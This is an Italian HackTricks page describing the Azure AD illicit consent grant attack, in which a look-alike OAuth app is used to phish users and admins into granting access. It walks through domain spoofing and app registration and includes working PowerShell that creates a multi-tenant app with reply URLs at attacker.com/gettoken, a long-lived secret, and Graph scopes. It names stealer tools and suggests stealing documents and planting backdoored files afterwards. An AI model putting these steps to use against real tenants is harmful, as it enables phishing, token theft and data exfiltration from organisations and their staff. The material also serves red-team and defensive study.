Italian - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Illicit Consent Grant

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

Phishing dell'app OAuth

Le App di Azure richiedono autorizzazioni per accedere ai dati dell'utente (informazioni di base, ma anche accesso ai documenti, invio di email...). Se concesse, un utente normale può concedere il consenso solo per le autorizzazioni a "Basso impatto". In tutti gli altri casi, è richiesto il consenso dell'amministratore. GA, ApplicationAdministrator, CloudApplication Administrator e un ruolo personalizzato che include autorizzazione a concedere autorizzazioni alle applicazioni possono fornire il consenso a livello di tenant.

Solo le autorizzazioni che non richiedono il consenso dell'amministratore sono classificate come basso impatto. Queste sono le autorizzazioni richieste per l'accesso di base sono openid, profile, email, User.Read e offline_access. Se un'organizzazione permette il consenso dell'utente per tutte le app, un dipendente può concedere il consenso a un'app per leggere quanto sopra dal proprio profilo.

Pertanto, un attaccante potrebbe preparare un App malevola e con un phishing, fare in modo che l'utente accetti l'App e rubi i suoi dati.

2 Tipi di Attacchi di Concessione di Consenso Illecito

  • Non autenticato: Da un account esterno creare un'applicazione con le autorizzazioni User.Read e User.ReadBasic.All ad esempio, effettuare un phishing a un utente e sarà possibile accedere alle informazioni della directory.

  • Questo richiede che l'utente vittima del phishing sia in grado di accettare le app OAuth da ambienti esterni!

  • Autenticato: Avendo compromesso un principale con sufficienti privilegi, creare un'applicazione all'interno dell'account e effettuare un phishing a qualche utente privilegiato che può accettare autorizzazioni OAuth privilegiate.

  • In questo caso è già possibile accedere alle informazioni della directory, quindi l'autorizzazione User.ReadBasic.All non è più interessante.

  • Probabilmente sei interessato alle autorizzazioni che richiedono un amministratore per concederle, poiché un utente normale non può concedere alcuna autorizzazione alle app OAuth, ecco perché devi effettuare il phishing solo su quegli utenti (ulteriori informazioni su quali ruoli/autorizzazioni concedono questo privilegio più avanti)

Verifica se gli utenti sono autorizzati a concedere il consenso

Il seguente comando PowerShell viene utilizzato per verificare la configurazione del consenso per gli utenti in Azure Active Directory (Azure AD) riguardo alla loro capacità di concedere il consenso alle applicazioni:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

  • Disabilita il consenso dell'utente: Questa impostazione vieta agli utenti di concedere autorizzazioni alle applicazioni. Non è consentito alcun consenso dell'utente alle applicazioni.

  • Gli utenti possono concedere il consenso alle app da editori verificati o dalla tua organizzazione, ma solo per le autorizzazioni che selezioni: Questa impostazione consente a tutti gli utenti di concedere il consenso solo alle applicazioni pubblicate da un editore verificato e alle applicazioni registrate nel tuo tenant. Aggiunge un livello di controllo consentendo il consenso solo per autorizzazioni specifiche.

  • Gli utenti possono concedere il consenso a tutte le app: Questa impostazione è più permissiva e consente a tutti gli utenti di concedere il consenso a qualsiasi autorizzazione per le applicazioni, purché tali autorizzazioni non richiedano il consenso amministrativo.

  • Politica di consenso personalizzata per le app: Questa impostazione indica che è in atto una politica personalizzata, che può essere adattata ai requisiti organizzativi specifici e può coinvolgere una combinazione di restrizioni basate sul publisher dell'app, sulle autorizzazioni richieste dall'app e su altri fattori.

Comprensione dell'Attacco di Concessione di Consenso Illecito

In un attacco di concessione di consenso illecito, gli attaccanti ingannano gli utenti finali affinché concedano autorizzazioni a un'applicazione dannosa registrata con Azure. Ciò avviene facendo apparire l'applicazione legittima, inducendo le vittime a fare clic inconsapevolmente su un pulsante "Accetta". Di conseguenza, Azure AD rilascia un token al sito dell'attaccante, consentendo loro di accedere e manipolare i dati della vittima, come leggere o inviare email e accedere ai file, senza necessità di un account organizzativo.

Panoramica del Flusso dell'Attacco

L'attacco coinvolge diverse fasi mirate a un'azienda generica. Ecco come potrebbe svolgersi:

  1. Registrazione del Dominio e Hosting dell'Applicazione: L'attaccante registra un dominio che assomiglia a un sito affidabile, ad esempio, "safedomainlogin.com". In questo dominio, viene creato un sottodominio (ad esempio, "nomesocietà.safedomainlogin.com") per ospitare un'applicazione progettata per catturare codici di autorizzazione e richiedere token di accesso.

  2. Registrazione dell'Applicazione in Azure AD: L'attaccante registra quindi un'applicazione multi-tenant nel proprio Tenant di Azure AD, nominandola come l'azienda target per apparire legittima. Configurano l'URL di reindirizzamento dell'applicazione per puntare al sottodominio che ospita l'applicazione dannosa.

  3. Impostazione delle Autorizzazioni: L'attaccante configura l'applicazione con varie autorizzazioni API (ad esempio, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Queste autorizzazioni, una volta concesse dall'utente, consentono all'attaccante di estrarre informazioni sensibili per conto dell'utente.

  4. Distribuzione di Collegamenti Dannosi: L'attaccante crea un collegamento contenente l'ID client dell'applicazione dannosa e lo condivide con gli utenti mirati, ingannandoli affinché concedano il consenso.

Utilizzo di Strumenti per l'Attacco

L'attacco può essere facilitato utilizzando strumenti come 365-Stealer.

Preparazione Pre-Attacco:

Se l'attaccante ha un certo livello di accesso a un utente nell'organizzazione della vittima, potrebbe verificare se la politica dell'organizzazione consente all'utente di accettare le app:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Per eseguire l'attacco, l'attaccante dovrebbe creare una nuova app nel proprio Azure Tenant (nelle registrazioni dell'app), configurata con le autorizzazioni:

User.ReadBasic.All si trova all'interno di Microsoft Graph nelle Autorizzazioni delegate. (Le autorizzazioni dell'applicazione richiederanno sempre un'approvazione aggiuntiva).

  • User.ReadBasic.All è l'autorizzazione che ti permetterà di leggere le informazioni di tutti gli utenti nell'organizzazione se concessa.

  • Ricorda che solo GA, ApplicationAdministrator, CloudApplication Administrator e un ruolo personalizzato che include autorizzazione per concedere autorizzazioni alle applicazioni possono fornire il consenso a livello di tenant. Quindi, dovresti phishingare un utente con uno di quei ruoli se desideri che approvi un'app che richiede il consenso dell'amministratore.

È anche possibile creare un'app tramite CLI con:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Controlla https://www.alteredsecurity.com/post/introduction-to-365-stealer per imparare come configurarlo.

Nota che il token di accesso ottenuto sarà per il punto finale del grafico con gli ambiti: User.Read e User.ReadBasic.All (le autorizzazioni richieste). Non sarai in grado di eseguire altre azioni (ma queste sono sufficienti per scaricare informazioni su tutti gli utenti nell'organizzazione).

O365-Attack-Toolkit

Puoi anche utilizzare questo strumento per eseguire questo attacco.

Post-Esploitation

Una volta ottenuto l'accesso all'utente, puoi fare cose come rubare documenti sensibili e persino caricare file di documenti con backdoor.

References

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

PreviousAz - Unauthenticated Enum & Initial EntryNextAz - Device Code Authentication Phishing

Last updated